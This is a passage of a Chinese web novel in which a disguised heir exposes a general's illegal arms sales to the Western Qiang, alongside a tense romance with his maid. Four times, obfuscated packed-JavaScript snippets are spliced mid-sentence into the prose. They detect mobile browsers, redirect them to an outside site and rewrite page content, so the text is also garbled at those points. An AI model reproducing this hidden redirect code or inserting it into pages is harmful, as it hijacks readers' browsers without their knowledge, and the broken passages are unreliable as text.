翌日,裴霁曦送往勐城知府张守同府上的拜帖得到了回应,邀他当晚前去府中宴饮。 张守同的府邸从外并不显眼,暗红的朱漆大门已有些斑驳,门上一排排的铁制浮沤钉也有些生锈,门前的题字也是中规中矩的黑底黄漆。 可绕过前院,穿过垂花门,庭院之中的苍松翠柏、假山绿池、亭台楼阁皆是如画美景,抄手游廊的每个绿柱中间,都点着大红垂幔灯笼,富丽堂皇,雍容华贵。 侍者引着裴霁曦到堂屋落座,初雪晴跟着张府的下人在一旁候着。 正座上的张守同起身相迎,几番寒暄之后,两人开始推杯换盏。裴霁曦显然听进去昨日初雪晴的建议,笑容满面,八面玲珑。 席间,裴霁曦状似无意无意地提起:“商某此次在勐城开设分店,其实也是看重勐城的地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037165|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理位置。” 张守同笑问:“此话怎讲?” 裴霁曦压低声音:“虽说勐城处于西境边关,但是正是因为如此,才能赚一些外人的钱。” 张守同假作糊涂:“外人?不知商公子所言的外人是?” “自然是西羌人。” 张守同故作震惊:“这、这……” 裴霁曦镇定道:“大人不必如此惊诧,想那西羌对大宁国土虎视眈眈,我们赚他们的钱,是为国出力。在下此次也是诚意满满,为国效力的事,大人不得行个方便。” 裴霁曦挥挥手,初雪晴见状上前,递出去早已准备好的书。 裴霁曦接过书,走上前递给了张守同,“此书上面记载西羌风土人情,值得一观,大人不妨好好看看。” 张守同接过书,轻轻掀了下书角,露出不同于书页的银票,忙合上书,笑道:“商公子推荐的书,自然是好书。” “对了,大人能否搭个线,在下对汪将军敬慕已久,不知能否有机会结识?” 张守同面色为难道:“汪将军军务繁忙,不知商公子是有何要事,要找汪将军呢?” 裴霁曦笑笑,轻声道:“商某家中主做丝绸生意,但,也有些其他上不得台面的货物,大人放心,都是些官府允许贩卖的短兵器之类,盔甲弩箭,不敢轻易沾。” 大宁允许民间贩卖短兵器,只是不能销往其他国家。但对盔甲弩箭的管控非常严格,裴霁曦不知张守同底线,因此话也不敢说得太满,只说不敢轻易沾,但也没说不敢沾。 张守同听出了裴霁曦的话外之音,思索片刻,只道:“我后日会在明御楼设宴,届时会邀请汪将军前去,商公子若有意,不若后日一同前往如何?” 裴霁曦点头笑道:“多谢张大人,托张大人的福,日后若有为国效力的机会,必定也会帮大人出一份力。” * 从张府出来以后,已是月色朦胧时分,勐城的夜不似邺清般冷清,家家户户府门前高悬的灯笼照亮了街道,远处西市灯火通明,和天上的繁星相映成彰。 裴霁曦收起脸上堆叠的笑容,坐上门口候着的马车,初雪晴跟着他的脚步,和车夫一起坐在马车前方,直至裴霁曦喊她进去,她才掀帘进入车厢。 “坐。”裴霁曦随意道,“我方才装得像吗?” 初雪晴在马车角落坐下,答道:“像,和您平常很不一样。” 裴霁曦揉揉眉心,无奈道:“装得还挺累的。” 初雪晴见他疲累,犹豫片刻,问道:“用不用奴婢帮您揉揉头?” 裴霁曦放下手,怔怔得看向初雪晴,半晌才道:“不用。” 马车外的喧嚣,丝毫不影响马车内的沉闷异常。两人各怀心思,连日来他们都努力装作什么都没发生过,装作他们只是主子和仆人,一个用“奴婢”代替“我”拉开了身份,一个状似无意如同对待普通小厮般待她。 可那些横亘在两人中间的过往,以及藏在心底的那点心思,已经让彼此不能用以前的方式相处。 有轻风在时还好,他的插科打诨往往能化解这种尴尬,但只余两人的时候,他们已经不知道如何待对方了。 裴霁曦靠着车壁假寐,初雪晴垂着头盯着车底。 只能借车外的喧嚣,和颠簸的车身,掩盖这恼人的心跳。 49. 第 49 章 勐城的明御楼在西市最繁华的地段,之所以著名,是因为它既是正经的酒楼,旁边又守着不正经的百花院。 自当年太子和刑部尚书之子张阜为一歌姬争执,张阜殒命后,大宁便禁止官员去往声乐场所。 但上有政策,下有对策。百花院开门做老百姓的生意,但若官员有需求,也可至明御楼,暗中叫上几个百花楼的姑娘来陪。 张守同设宴的地方在明御楼三楼的宴厅,黑胡桃木地板上铺着朱红暗花地毯,云纹帷幔是比地毯颜色稍浅的鹅冠红,廊柱上雕刻着精美的花纹,厅内摆着三个桌子,供客人分桌而食,余下空间很大,想必是酒楼为了他们三人撤了些桌子,桌子上摆着金银器皿,在无数高悬的灯烛照耀下闪闪发光。 初雪晴即使跟着裴霁曦,也从未涉足这样奢靡的地方,此刻她穿着男装,立在裴霁曦身后,看着满脸堆笑的裴霁曦和张守同、汪实推杯换盏。 相比于张守同的大腹便便,汪实还是有着武将的魁梧身材,只是在放松状态下,单手举杯倚着桌子,身子稍歪,显得有些颓靡。 酒过三巡,裴霁曦的面色也开始红润起来,但还是渐渐诱着他们一步步落入备好的陷阱之中,甚至在觥筹交错间,暗暗透出,即便盔甲弩箭,裴霁曦也能弄来。 汪实闻言,轻咳了两声,才道:“商公子有所不知,短兵器这类采买,皆是兵部做主。不过商公子若想要些路子,我倒是认识一些镖局、武馆的朋友,也能帮商公子介绍介绍。” 裴霁曦高举杯盏,“那就多谢汪将军了。” 张守同见他们商议得差不多,便唤了小二上来,嘱咐了几句。 没多久,三个身着软纱,浓妆艳抹的女子端着酒壶走进宴厅。 三个女子分三个方向,分别为裴霁曦三人斟酒。为裴霁曦斟酒的这个,一看裴霁曦是座上最年轻英俊的,面上的胭脂更红了,那涂满丹寇的手指斟完酒,顺势搭在了裴霁曦的肩膀上。 裴霁曦面色不虞,拂开了那个女子。 张守同和汪实倒是一人搂了一个,张守同见裴霁曦不识风情,便道:“商公子,今晚的酒可有些助兴的作用。这勐城的女子,可是和你们樟安的不同,你要好好品品才知道其中乐趣呢。” 裴霁曦压下心中不快,面上浮出浅笑,看了眼身后的初雪晴,做了个手势让她上前。初雪晴上前两步,只见裴霁曦顺势搂上她的腰,将她抱到了自己的腿上。裴霁曦轻轻抽出她发间的木簪,让她一头乌黑的发丝散落。 裴霁曦嘴角浮上一抹轻浮的笑容,“有些事,商某不喜欢和外人做,家花可比野花干净多了。” 初雪晴就这么坐在裴霁曦的腿上,僵着身子动弹不得,她怕自己露馅,只得使劲垂头,用发丝掩盖面上的表情。 汪实见状,调笑道:“商公子还自备粮食呢。” 裴霁曦的呼吸就洒在初雪晴的脖颈上,烫得灼人。他凑到初雪晴耳边,状似亲昵地耳语道:“对不住,迫不得已。” 而后他抱着初雪晴起身,对那二位道:“商某先行告退了,二位大人好好享受。” 裴霁曦到楼下对掌柜道,帐记在他身上,就抱着初雪晴到了门外候着的马车上。 一进马车,他将初雪晴放在马车上,便坐在离初雪晴稍远的位置。他面色开始泛红,额角沁着汗珠。明明残冬的余寒还未消退,他却已经燥热无比。 他皱着眉对另一侧的初雪晴道:“马车太闷,你坐到外面吧。” 初雪晴慌乱地掀开车窗,冷风自帘外涌入,她坐到车沿上,任冷风吹散身上的燥意。她身上现在还有裴霁曦残留的温度,心中似有什么东西在激烈地冲击着,不断翻腾。 她捏了捏自己的耳朵,似乎裴霁曦的气息就灌入了耳内不断涌动,似是痒着,却又像是在耳鸣,怎么也抚不去这种奇异的感觉。 她甚至怀疑自己也喝了那酒一般,像是被热火炙烤着,只能希望这冷风更肆虐一点,把那烈火扑灭。 直到马车行至客栈门口,初雪晴身上的热度才被一路的冷风吹散,方觉察出来夜色的微凉。 马车停了半晌,也不见裴霁曦下来,初雪晴隔着车窗道:“少爷,咱们到了。” 莫非是睡着了? 初雪晴缓缓掀开车帘一角,只见里面的裴霁曦弓着腰,将头埋在手臂之间,觉察到车帘掀开沁入的冷风,他缓缓抬头,面上的红晕扩散到眼角,眸中是浓得化不开的涟漪。 初雪晴忙放下车帘,只听里面传来裴霁曦沙哑的嗓音:“让小二备点冷水到我屋内。” 初雪晴应是,忙下了马车。 轻风见他们归来,出来迎接,初雪晴见他来了,便道:“你等着少爷,我去让小二备点冷水。” 轻风一脸疑惑问道:“少爷怎么了?” 初雪晴垂头小声道:“中了药了。” “什么?有毒药?”轻风急切问。 “不是毒药,是……那种药。” 轻风瞪大眼睛,一脸不可思议,初雪晴没等他反应,忙跑回客栈。 初雪晴让小二备了冷水,帮裴霁曦准备好换洗衣物,就在裴霁曦房门口候着。 少倾,见裴霁曦快步走来,衣袂生风,头也不回地进屋,砰的一声关上房门。 轻风跟在身后,看看紧闭着的门,又看看门口垂着头的初雪晴,不解问道:“你怎么还不进去。” 初雪晴诧异看向他,“我进去做什么?” 轻风嗫嚅着道:“你就是解药啊。” 初雪晴的脸腾得烧起来,“你胡说什么。” 轻风见她真的没打算进去,才着急起来,“你早晚都是少爷的人,在这害羞什么呢?没看见少爷都成那样了吗?” 初雪晴如被冷水浇身,面上的热度瞬间消散,原来大伙都是这么看的,她只是裴霁曦的所有物罢了。无论裴霁曦怎么表态,她怎么拒绝,一个贴身丫鬟,作用就是给主子暖床。 初雪晴冷冷道:“我不去。” 轻风被她的强硬惊到了,“你……你……你真没良心,少爷救了你多少次了,要搁平常女子,早以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068370|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身相许八百回了。” 初雪晴冷冷瞥他,“难道女子报恩,就只有身子这点东西吗?” 轻风气得跺脚,他实在不理解,一个丫鬟,能得主子青睐,还在这拿乔什么。他没办法说服初雪晴,便转身跑下楼去。 初雪晴木木地站在房门口,自打从明履营出来,她就迷茫极了。不知出路,不辨方向,只是日复一日如同机械一般,裴霁曦让她做什么就做什么。 她怀疑再这么下去,她会和这世道上千千万万的女子一样,慢慢变得卑贱、自轻、不能自立于世。 半晌,只见轻风带着个花枝招展的女子跑上楼来,那女子一步一扭,轻风急了起来,吼道:“你快点,等着救命呢!” “小哥急什么。”那女子捂嘴笑着。 轻风瞪了门口的初雪晴一眼,打开房门,将那女子推了进去。 初雪晴愣愣的看着眼前的一切,“你这是做什么?” 轻风理所当然道:“你忍心看着少爷难受,我不忍心,女子不都一个样,你不去,想去的人多的是。快走吧,难道你要在这听墙角吗?” 初雪晴嘴唇紧绷,咬着牙瞪着轻风,她内心既生气又纠结,她不愿做裴霁曦的解药,更不愿裴霁曦随便找别的女人解决。可轻风就这么打破她的纠结,直接给了裴霁曦选择的结果。 轻风没有理她,转身欲下楼。 初雪晴没有厘清自己的思绪,但她知道,眼下的她,无法容忍别的女子随意染指自己心里的光风霁月,她没做好决定,但手已经放在房门上。 正要推开房门的时候,只听“砰”的一声,什么东西砸落在地的声音,紧接着那女子推开房门跑出来,额头上红了一片,她哭嚷道:“不愿意就不愿意嘛,这要是破了相,你们可得负责。” 楼梯上的轻风讶异地看着那女子,急忙折身回来,“你……”他叹口气,“算了,你要多少银钱,我赔给你便是。” 初雪晴不知自己现在是松了口气,还是更加纠结,只是顺着手上的动作,推开了房门。 门口的轻风见她进去,这才放心地下楼。 初雪晴转身插上了门栓,她的心剧烈地跳着,不知道为什么,明明她不愿,可就这么走进来了,面对着可预知的后果,却没有停下脚步。 屏风后面有粗重的呼吸声,她缓缓走过去,只听裴霁曦从牙缝里挤出一个字:“滚。” 地上是裴霁曦刚扔的胰子,想必那女子就是被这东西砸到了头。 她走到屏风后头,只见裴霁曦背身坐在浴桶之中,发丝粘着水珠,服帖地披在背上,精壮的肩膀上,不知是汗液还是冷水,在烛光的映照下熠熠发光。 初雪晴放空脑袋,从怀中抽出帕子,走上前,轻轻道:“世子,是我。” 裴霁曦身上一抖,呼吸加重,初雪晴等了半晌,却没见他有多余的动作。 初雪晴走到浴桶边上,拿着帕子,想要擦拭裴霁曦的肩膀。帕子瞬间就湿了,可她拿着帕子的手却不敢再动了,颤抖着,搭在裴霁曦的肩膀上。 50. 心悦 裴霁曦感受到肩上那只手的颤抖,哑着嗓音道:“出去。” 初雪晴惊诧片刻,她以为,裴霁曦不会排斥要她,毕竟他以前就有这种想法,她讷讷道:“世子,奴婢……可以……” “出去!”裴霁曦的语气加重了些。 初雪晴脑中轰然一响,倏地回神,方意识到自己做了什么,她松开帕子,跑了出去。 裴霁曦直到听见门被关上的声音,才粗粗喘了口长气。 冷水不够冷,无法让他冷静下来,他起身迈出浴桶,却见初雪晴的帕子掉落在浴桶沿上。 他拾起帕子,用帕子盖住脸,本想冷静下来,可帕子上传来的气味却让他愈加燥热。 汹涌的浪潮无法平复,不停地扰乱他的意志力,他闻着帕子上的气息,脑中想着初雪晴的样子,任那无法平息的浪潮发泄出来。 * 翌日,裴霁曦面色如常地到客栈一楼用膳,轻风早早候在那里,见裴霁曦神清气爽,克制住想偷笑的心情,帮裴霁曦摆好碗筷,状似无意地问了句:“冬雪还没起呢?” 裴霁曦愣怔片刻,想起自己昨夜荒唐的幻想,又觉无法面对初雪晴,只道:“让她多睡一会吧。” 可这话到了轻风耳中,就是另一层意思了——的确是要心疼心疼冬雪,毕竟昨夜应该也挺累的——他并不知道后来冬雪从房中跑出来的事。 轻风也端起碗筷坐在裴霁曦旁边吃饭,边吃边道:“少爷,一早有汇兴镖局的人来送信,说是汪将军介绍的,您要是得空了,可以去他们镖局看看。” 恰在此时,身着男装的初雪晴从楼上下来,目光在半空中和裴霁曦的对上,忙错开了,盯着脚下的台阶。 昨夜她竟如欢场女子般自荐枕席,若不是裴霁曦拒绝了,她现在岂不是落入她最不耻的那种轨道之中,如菟丝花般攀附着别人生存下去。 所以她今日犹犹豫豫的,不敢面对裴霁曦,仿似已经将最不堪的自己,彻底暴露了出来,如今想藏也藏不住。 轻风瞧见初雪晴,眨巴着眼睛揶揄道:“冬雪怎么不多睡会?” 裴霁曦也想到了昨日的画面,初雪晴放在他肩膀上的那只颤抖的手,仿佛还有余温残留在他肩上,最终是那句“奴婢可以”让他清醒了过来。 他在屋内浸入冷水之中时,明明听见初雪晴对轻风说的那句“我不去”,可她最终还是碍于主仆的身份,逼着自己道出“奴婢可以”。 可裴霁曦不可以,他不想自己头一回的倾心,就被“权势迫人”这四个字沾染上,他想让初雪晴心悦自己,但不是因奴婢对主子的遵从,而是真的心悦,可目前看来,她已用“奴婢”二字,将彼此拉得远远的。 裴霁曦状似随意道:“冬雪,快点用饭,一会随我去汇兴镖局走一趟。” 轻风诧异地看向裴霁曦,“少爷,今日还是让我陪您去吧,让冬雪歇歇。”他心中暗道,世子竟然这么不懂得心疼人。 裴霁曦否定道:“不用,你去打听打听,汇兴镖局和汪家有什么关系,越细越好。” 轻风见有正事,便不再坚持,囫囵吞了面前的饭,便出去了。 待初雪晴随意吃了两口,两人便沉默着搭上马车,往汇兴镖局而去。 初雪晴本想还坐在车外,裴霁曦制止了她,昨夜是裴霁曦怕自己做什么禽兽事,才让她坐在车外,天气清寒,不能总让一个小姑娘在外忍受冷风。 可两人坐在车内,即使距离较远,还是有种诡异的沉默。 裴霁曦不敢看初雪晴,一看,就想起自己脑中那些龌龊画面;初雪晴也不敢看裴霁曦,一看,就如同把最卑劣那部分自己,扯出来供人耻笑。 就这么各怀心思,忍到了镖局门口。 汇兴镖局院内,几个镖师懒散地靠在椅上,一旁的兵器架子上,刀剑摆放凌乱,一眼看去,那些刀上竟然还有锈点,刃上也有豁口。 镖师们见他们来了,有一个镖师坐在椅上随便问道:“来干什么的?” 裴霁曦答道:“我们是汪将军介绍来,做点生意的。” 那镖师闻言,即刻起身,引着他们到了正堂。 正堂上高高悬挂“威震四方”的牌匾,倒是和前院那些人的状态格格不入,颇有些讽刺意味。 他们等了一会,才见一个有着油滑胖脸的中年男子过来。院中那几个镖师只是看上去懒散,但起码身材魁梧。眼前这个男子就完全和镖局行当看不出关系,倒像是个精明的商人,他抱拳作揖,满脸含笑道:“商公子果然是一表人才呀!” 裴霁曦也寒暄道:“汪将军介绍我来,想必汇兴镖局定是行业翘楚,不知您如何称呼?” “在下郭罡,一直在勐城做镖局生意。”郭罡引着裴霁曦落座,“商公子快请坐。” 两人一坐定,郭罡又瞄了眼裴霁曦身后的初雪晴,笑眯眯道:“商公子还真是到哪都带着家花啊!” 裴霁曦脸色微变,即刻遮掩道:“心头所好,还是得放到眼前。” 初雪晴垂眸,身子朝裴霁曦移了移,遮住郭罡的视线。 郭罡一脸了然道:“理解理解,我成亲前也有个通房,那真是捧在手里地宠着啊!” 裴霁曦一怔,生怕让初雪晴想起什么不愉快的事,但眼前正事要紧,他只得按捺住自己的胡思乱想,装作赞同地冲郭罡笑笑。 郭罡顿了顿又道,“只是今日我们商谈要事,不若让小娘子到偏厅休息休息?” 初雪晴一直站在裴霁曦身后,垂首看向地面,可她也在用余光观察着郭罡。 裴霁曦轻笑道:“无妨,生意上的事她也不懂,咱们说咱们的。” 郭罡这下彻底把裴霁曦当成了耽于美色的小少年,笑道:“听闻商公子手上有批短兵器,在找出路?” 裴霁曦点点头:“正是,不知汇兴镖局能否吃下一点呢?” “商公子有所不知,我汇兴镖局分号遍布南北,而且我还开了几个武馆,不知你手中有多少货呢?我这胃口可是很大的。” 裴霁曦思索片刻道:“我此行本是来开设布匹分店,所以现货不多,若是您要的话,第一批可以先运来一部分,咱们先看看成色,若是可以,日后长期合作。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085343|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那就这么说定了,兵器这玩意也是有损耗的,以后商公子有什么好货多想着点咱们。可惜就可惜在,铠甲弩箭管控太严,若是有这些,能让镖师门见识见识也好啊!” 裴霁曦听出他言语中的暗示,低声道:“要是诚心要,也不是没有门路,只是……” 郭罡忙道:“价钱不成问题!” “郭老板痛快,咱们是不是先签个契书,我也好先把第一批货发来。” 郭罡生怕他反悔似的,立时让人拿来文书,两人商议了几番,拟好条款,当场就签了契。 回客栈的马车上,裴霁曦把契书递给初雪晴,“冬雪,你看看这契书。此番事成,你又立一功。” 初雪晴接过契书,边仔细检查着,边道:“少爷说笑了,奴婢又没帮上什么忙。” 裴霁曦温言道:“怎么没有,若不是你提议做些兵器买卖,他们也没这么快上钩。你觉得,接下来该如何做呢?” 初雪晴思量半晌,道:“汪实既然不愿出面做这买卖,就要找一个他信得过的人办事,咱们要挖出来他们之间的关系,少爷今晨已经让轻风去打听汇兴镖局和汪家的关系,我们已做到了第一步。而且郭罡今日无意说出了‘家花’,想必汪实应当是事无巨细都与郭罡讲了,两人必是关系匪浅。” 顿了顿,她清了清嗓子掩饰自己的尴尬,毕竟她便是这朵“家花”。 她接着道:“第二步,我们要赶紧收些短兵器交货,虽然时间紧,但只要肯出银子,凑足他们要的数也不难。第三步,就是要看这批货,最终流到了哪里。” 大宁虽不限制短兵器出售,但是严禁销往外国,若这短兵器最终流到了西羌,就证明汪实的确和西羌有所勾结。 初雪晴补充道:“从今日汇兴镖局的样子来看,他们应也不是正经做镖局或武馆生意的,更像是披了镖局的皮,在做别的勾当。如果我们深挖一下,他们也必然有别的破绽。” 裴霁曦肯定道:“的确,那些镖师匪气满满,兵器也都随意摆放,应也就是充充场面罢了。” 初雪晴继续道:“所以我们还可以看看他们镖局以前都做了什么生意,既然能摆出这幅场面,以前应该也帮着汪实做了不少上不得台面的事。” 裴霁曦赞赏地点点头,“你想得果然周全。” 谈正事时两人可以滔滔不绝,可正事说完,就又是那种诡异的沉默。 直到马车停下,初雪晴要掀帘出去,裴霁曦才叫住她:“冬雪。” 初雪晴回头,对上裴霁曦的目光,不自觉又垂下眸子。 “以后,就做我的军师如何?”裴霁曦轻声问。 初雪晴头垂得更低了,“少爷抬举我了。” 裴霁曦语气急切了些,“你不必如此自轻,你跟我这么长时间,帮到我的也不少,每次遇到瓶颈,只要和你聊上几句,我就会茅塞顿开。我让你留在我身边,绝非只是因为心悦你,更是欣赏你的才华。你不知道,连舞阳将军都说你必有大用。” 初雪晴缓缓抬头,怔怔看向裴霁曦,“少爷方才说什么?” 51. 冬雪:受伤 她这么一问,裴霁曦陡然想起,自己竟不经意把“心悦你”这种话说出来了,此时才觉不妥,面上又开始燥热,他迟疑一下道:“我说,舞阳将军都说你必有大用。” 他知道初雪晴问的是什么,可当那层遮羞布扯下来,他竟没有勇气再坦然把自己剖开,答非所问,既希望初雪晴能追问下去,又怕她追问下去。 初雪晴也没有勇气追问,她是听清了的,可又不敢确认,只得讷讷道了声“噢”。 两人都僵着,须臾,裴霁曦才打破了这沉默,“那你是答应了?” 初雪晴低声答:“少爷让奴婢做什么,奴婢自然会去做。” “不要再称‘奴婢’了,我是让你做军师,不是让你做丫鬟。”裴霁曦有些生气,他已撇开私人感情,初雪晴仍是用主仆关系框住二人,他索性摊开来讲,“我知道你不喜我,但我也承诺过,不会强迫于你。如今我只是单纯希望你能帮我,这也不可以吗?” 初雪晴诧异片刻,闷声道:“我没有不喜世子。” “总之不是我这般。”都已经说出口了,裴霁曦突然有些自暴自弃,似是被抛弃的情郎般,语气中带着一丝抱怨。 “不是……我……”初雪晴要脱口而出的话,在舌尖打了个转,又咽了回去。能说什么呢,即使两人真的互相倾慕又如何呢?再心悦,左不过是通房丫鬟的命运。 裴霁曦却在她的支支吾吾里听出了一丝希望,猛地起身靠近她,试探问道:“你也……也是一样吗?” 初雪晴却开始担心,真要捅破这层窗纸,裴霁曦还能任她自立吗? 她解释道:“您是主子,奴婢怎敢不喜您?” 裴霁曦的眸色暗了暗,压抑着心底那股失望,只道:“那以后,把我当上官,可好?” 初雪晴点点头,“好。” “若是日后……”裴霁曦方出口,又止住了话头,日后怎样呢,你我相处多了,你若是不厌烦我,能否试着把我放在心上? 罢了,日子还长,能有的自然会有,没有的,也不能勉强。 * 裴霁曦按照既定的计划,先是让商队的人帮忙在外地收短兵器,但又不能大张旗鼓,因此进展稍显缓慢。待筹集够了,送到汇兴镖局,已是又过了半月有余。 货既送到了汇兴镖局,下一步就是探查汇兴镖局如何将货出手了。 而探查的任务,必须要由一个武功高强,聪慧机敏的人去做。轻风武功一般,初雪晴更不必提。而商队的人都是姑父手下实实在在的商人,更不能担此重任。 裴霁曦决定亲自去跟,以防万一,让轻风提前和青州巡按御史盛承岸取得联系,一有消息,就让对方派人协助。 另一方面,让初雪晴暗中疏散商队人员,以免出现意外会波及无辜。 为了不引人注目,初雪晴分批将商队的人遣散,再慢慢雇些当地的人,这样并不显得商队的人变少,可只有他们自己知道,商队的人已经慢慢撤离。 残冬的寒冷被初春的暖意驱散,一切都有条不紊地进行着。 当初雪晴忙完自己的事,便忐忑地在客栈等裴霁曦的消息。 天还未入夜,如寻常一般,初雪晴佯装在商铺忙完,回到客栈不久,便有一黑衣人闯入她房中,她如有预感一般并未害怕,果然,眼前的黑衣人正是出行多日的裴霁曦。 裴霁曦跌坐在椅子上,摘下黑色面巾,露出苍白的面庞,声音虚弱道:“我已让轻风去联系巡按御史,你也快走,车夫在客栈外等你。” 初雪晴忙问道:“世子您是受伤了?” 裴霁曦摆摆手,“你先走,不用管我。” “轻风去找巡按御史,我又走了,谁来照顾您?”焦急的初雪晴,忘记了自称奴婢。 “我会藏起来,待巡按御史派人来了,再出面。” “伤成这样,怎能一个人藏起来呢?”初雪晴迅速找出一件黑色披风还有治伤的药,却没有立刻给裴霁曦疗伤,反是扶着他,“我们一起先到马车上去。” 裴霁曦本还欲拒绝,可初雪晴紧紧地扶着他的手臂,他愣怔中竟跟着初雪晴上了马车。 上了马车,初雪晴才仔细查看裴霁曦的伤势,他伤在肩上,并不致命,可显然他一路奔波,来不及疗伤,导致失血过多,玄色的衣袍遮住了血色,但也能从胸前背后湿透的衣袍看出他的伤势严重。 初雪晴不禁自责:“若世子这回带的是墨语,便不用亲自上阵了。” “你是说,墨语去了就不会受伤吗?”裴霁曦虚弱回道。 “不是……只是就不会伤到世子了。” 裴霁曦缓缓看向面色担忧的初雪晴,露出苍白的笑容,“墨语伤到了就没事吗?” 初雪晴愕然,她只想着裴霁曦重要,但显然她也渐渐被这世道所吞噬,竟也将生命分了高低贵贱,她垂眸未答,只道:“世子快将上衣脱了,奴婢为您上药。” 裴霁曦愣怔片刻,才缓缓松了松衣带,他慢慢将左肩衣物褪去,只是行进中的马车有些颠簸,他不小心靠到车壁,伤口被撞,他却只是皱了皱眉头。 初雪晴忙将手护在他背后,帮着他一起,这才露出了伤口。 她先用湿布小心翼翼擦着伤口周围,伤口是一个箭矢形状的洞,汩汩往外冒着血。她忍着心中酸涩,挑着马车平稳的时候,在伤口处缓缓撒上药,慢慢包扎上。 马车驶出了城,城门还未戒严,看来对方的动作还没这么快。 伴着夜幕的降临,马车外没有了城内的喧嚣,只有疾行中的马蹄哒哒,与空旷野外的夜风飒飒。 初雪晴为裴霁曦包扎好,将软垫靠在裴霁曦背后,以防马车的颠簸对他伤口不利。初雪晴忙完,才坐在不远的地方,问道:“世子可有收获?” 裴霁曦面色稍缓,他看了眼夜色朦胧中随着马车颠簸微微摇晃的初雪晴,掩去眸中情绪,道:“他们果然与西羌有所交易,那些短兵器都卖给了西羌人。我偷到了他们账本,放到了安全的地方。” 初雪晴诧异看向他,她未料裴霁曦能一举找到对方罪证,可不免又开始担忧,如此重要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093544|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的罪证在手,对方必要赶尽杀绝。 裴霁曦又正色道:“到前方岔路,你和车夫先走,我自会躲去安全的地方,待御史到后,再露面指证他们。” 初雪晴思索片刻,直接起身掀帘对车夫道:“李叔,您到前方岔路,自己驾车去往安全的地方,带着我们您不安全。” 裴霁曦闻言,忙哑声对初雪晴道:“不可,你不能跟我一起,太危险。” 初雪晴未理睬裴霁曦的命令,和车夫交代完,才又坐到他身边,坚定道:“若世子没有受伤,我自然也不会在世子身边做个拖累。可世子现在负伤在身,我虽武艺不强,但好歹能帮着世子躲藏,世子让我做军师,难道军师在战场上,会不顾将军死活吗?” 裴霁曦怔愣间竟不知如何反驳。 到了岔路,初雪晴扶着裴霁曦下车,车夫架着空马车前行。 今夜出奇的黑,星月掩在黑色的天幕之后,周边的景物都遁入夜色之中,模糊不清。周边只有微风扫过树叶的沙沙声,以及小河流水的潺潺声。 西境不似北境一般,有连绵的山脉做天然遮挡,但这里有绵密的树林,以及蜿蜒的小河。 初雪晴观察了下周围的地形,树林是天然屏障,可肯定也是重点搜寻对象。河水约有百步宽,看似不宽,但河上并无渡河工具,裴霁曦现在显然也不适合凫水。 正在她犹豫间,裴霁曦轻声道:“前方不远处有座石桥,我们可以到桥下先躲着,以青州到此的距离,大概明日御史便会过来。” 初雪晴上前要扶着裴霁曦,裴霁曦本想拒绝,可当初雪晴把他的手架在自己脖颈后面,裴霁曦忽然舍不得拒绝了,就这样搭着初雪晴的肩膀,绕过一片密林,两人走到了石桥处。 石拱小桥如耸肩驼背的老妪,高高横跨在小河之上,将身下的水掩在夜色之中,迷迷蒙蒙看不清楚。 桥边的土坡较为陡峭,河水的冲刷也让这里泥泞不堪,杂草丛生。 初雪晴小心翼翼地在前面探路,走两步,确定不会滑倒,便拉住裴霁曦的手,扶着他过来。 可她踩到一处杂草丛时,脚下一滑,一只脚就踩到了河水之中。裴霁曦见状,连忙伸手拽住她。 好在河边水较浅,水堪堪没过她的膝盖,她忙道:“世子不要用力,别扯到了伤口。”说着抬起脚,长袍的下摆湿漉漉的,沾着泥水。 她继续边探路,边向后拉着裴霁曦走,终于到了桥下,她摸着石桥的下沿,跨了过去,可显然若躲在桥下,即便是在边角处,半个身子还是要泡在水里的。 初春夜晚的河水还是微凉,初雪晴整个下身泡在水中,不禁打了个寒颤,她对裴霁曦道:“世子,躲在桥下就要泡水,恐怕对您伤势不利。” “无妨,快躲起来吧,想必镖局的人应也通知到汪实了。” 初雪晴伸出手,裴霁曦拉住她的手,也顺势跨入水中。 躲到了桥下,裴霁曦也未松开手,似是忘了,也似是借力站在水中,两人的手也泡在水中,仿佛能从对方的手上,汲取温暖。 52. 冬雪:躲藏 